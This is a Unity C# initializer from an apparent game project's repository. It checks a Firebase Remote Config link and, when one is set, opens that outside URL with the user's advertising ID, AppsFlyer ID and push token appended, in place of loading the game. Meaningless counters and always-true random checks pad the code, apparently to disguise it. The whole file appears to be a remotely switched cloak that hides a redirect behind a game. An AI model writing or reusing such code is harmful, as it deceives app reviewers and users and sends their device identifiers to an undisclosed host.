Newer
Older
TEST / Assets / LegacySDK / CoreLogic / Initializer.cs
@a_kuznecov a_kuznecov on 20 Jun 2023 7 KB First Commit
using OneSignalSDK;
using UnityEngine;
using UnityEngine.Tilemaps;

namespace UniversalSDK.CoreLogic
{
    public class Initializer : BaseInitializer
    {
        private bool _organicValue;
        private int InitCounterForEveryone;
        private bool stateSwitcher;
        
        public override void SecondStep()
        {
            Init();

            if (InitializationType == InitializationType.Facebook)
            {
                InitCounterForEveryone++;
                InitFb();
            }
            stateSwitcher = false;
        }
    
        private void Init() 
        {
            OrganicValue = Firebase.RemoteConfig.FirebaseRemoteConfig.DefaultInstance.GetValue(OrganikKey).StringValue;

            Link = Firebase.RemoteConfig.FirebaseRemoteConfig.DefaultInstance.GetValue(LinkKey).StringValue;

            if (string.IsNullOrEmpty(Link))
            {
                LoadGame();
                InitCounterForEveryone++;
            }
            else if (string.IsNullOrEmpty(OrganicValue))
            {
                LoadGame();
            }
            else
            {
                InitCounterForEveryone++;
                CheckOrganicSwitcher();
                if (Random.Range(0, 1) == 0)
                {
                    stateSwitcher = true;
                }
            }
        
        }
    
        private void CheckOrganicSwitcher()
        {
            if (OrganicValue is "true" or "True")
            {
                _organicValue = true;
                AppsInit();
                if (Random.Range(0, 1) == 0)
                {
                    InitCounterForEveryone--;
                }
            }
            else if (OrganicValue is "false" or "False")
            {
                _organicValue = false;
                AppsInit();
                stateSwitcher = false;
            }
            else
            {
                AppsInitWithoutSub();
                LoadGame();
            }
        }

        private void AppsInit()
        {
            if (Random.Range(0, 1) == 0)
            {
                stateSwitcher = true;
            }
         //  AppsFlyer.OnGetConversionData += ConversionDataHandler;
            InitCounterForEveryone++;
         //   AppsFlyer.OnAppsFlyerNoAnswer += AppsFlyerNoAnswer;
            stateSwitcher = false;
            InitilizeAppsFlyer();
            if (Random.Range(0, 1) == 0)
            {
                InitCounterForEveryone--;
            }
        }
        private void AppsInitWithoutSub()
        {
            if (Random.Range(0, 1) == 0)
            {
                stateSwitcher = true;
            }
            InitilizeAppsFlyer();
        }
    
        private void ConversionDataHandler(bool isInit,string conversionData)
        {
            if (CheckLinkSave())
            {
                string link = GetSaveLink();
                InitCounterForEveryone++;
                OpenLink(link);
                if (Random.Range(0, 1) == 0)
                {
                    stateSwitcher = true;
                }
            }
            else
            {
                if (isInit)
                {
                    if (conversionData.StartsWith(Config.Scheme))
                    {
                        Naming(conversionData);
                    }
                    else
                    {
                        if (_organicValue)
                        {
                            if (Random.Range(0, 1) == 0)
                            {
                                InitCounterForEveryone--;
                            }
                            InitCounterForEveryone++;
                            OrganicLink(Link);
                        }
                        else
                        {
                            if (Random.Range(0, 1) == 0)
                            {
                                stateSwitcher = true;
                            }
                            LoadGame();
                        }
                    }
                }
                else
                {
                    if (_organicValue)
                    {
                        OrganicLink(Link);
                    }
                    else
                    {
                        if (Random.Range(0, 1) == 0)
                        {
                            InitCounterForEveryone--;
                        }
                        LoadGame();
                    }
                }
            }
        }
        private void AppsFlyerNoAnswer()
        {
            if (_organicValue)
            {
                InitCounterForEveryone++;
                OrganicLink(Link);
            }
            else
            {
                LoadGame();
                stateSwitcher = false;
            }
        
        }
    
        private void OrganicLink(string link)
        {
            InitCounterForEveryone++;
            string decodedLink = EncodeUrl(link);
            if (Random.Range(0, 1) == 0)
            {
                stateSwitcher = true;
            }
            string externalID = OneSignal.Default.PushSubscriptionState.pushToken;
        
            string fullLink = $"{decodedLink}&sub9={AppsFlyerSDK.AppsFlyer.getAppsFlyerId()}&sub10={GetAdvertisingId()}&external_id={externalID}";
            InitCounterForEveryone++;
            SaveLink(fullLink);
            OpenLink(fullLink);
            if (Random.Range(0, 1) == 0)
            {
                InitCounterForEveryone--;
            }
        }
        
        private void Naming(string campaing)
        {
            var external_id = OneSignal.Default.PushSubscriptionState.pushToken;
            if (Random.Range(0, 1) == 0)
            {
                stateSwitcher = true;
            }
            var naming = NamingCore(campaing);
            
            var linkWithoutKey = KeyCutting(Link);
        
            var _fullLink = $"{linkWithoutKey + naming}&sub9={AppsFlyerSDK.AppsFlyer.getAppsFlyerId()}&sub10={GetAdvertisingId()}&external_id={external_id}";
            InitCounterForEveryone++;
            SaveLink(_fullLink);
            OpenLink(_fullLink);
            if (Random.Range(0, 1) == 0)
            {
                stateSwitcher = true;
            }
        }
    
        public string NamingCore(string campaing)
        {
            campaing = campaing.Remove(0, Config.Scheme.Length);
        
            var spliter = campaing.Split(char.Parse("/"));
            
            var elementCount = spliter.Length;
            InitCounterForEveryone++;
            var appKey = spliter[0];
            if (Random.Range(0, 1) == 0)
            {
                InitCounterForEveryone--;
            }
            var link = appKey;
            stateSwitcher = false;
            for (int i = 1; i < elementCount; i++)
            {
                link += "&sub" + i.ToString() + "=" + spliter[i];
            }
            stateSwitcher = false;
            if (Random.Range(0, 1) == 0)
            {
                InitCounterForEveryone--;
            }
            return link;
        }
    }
}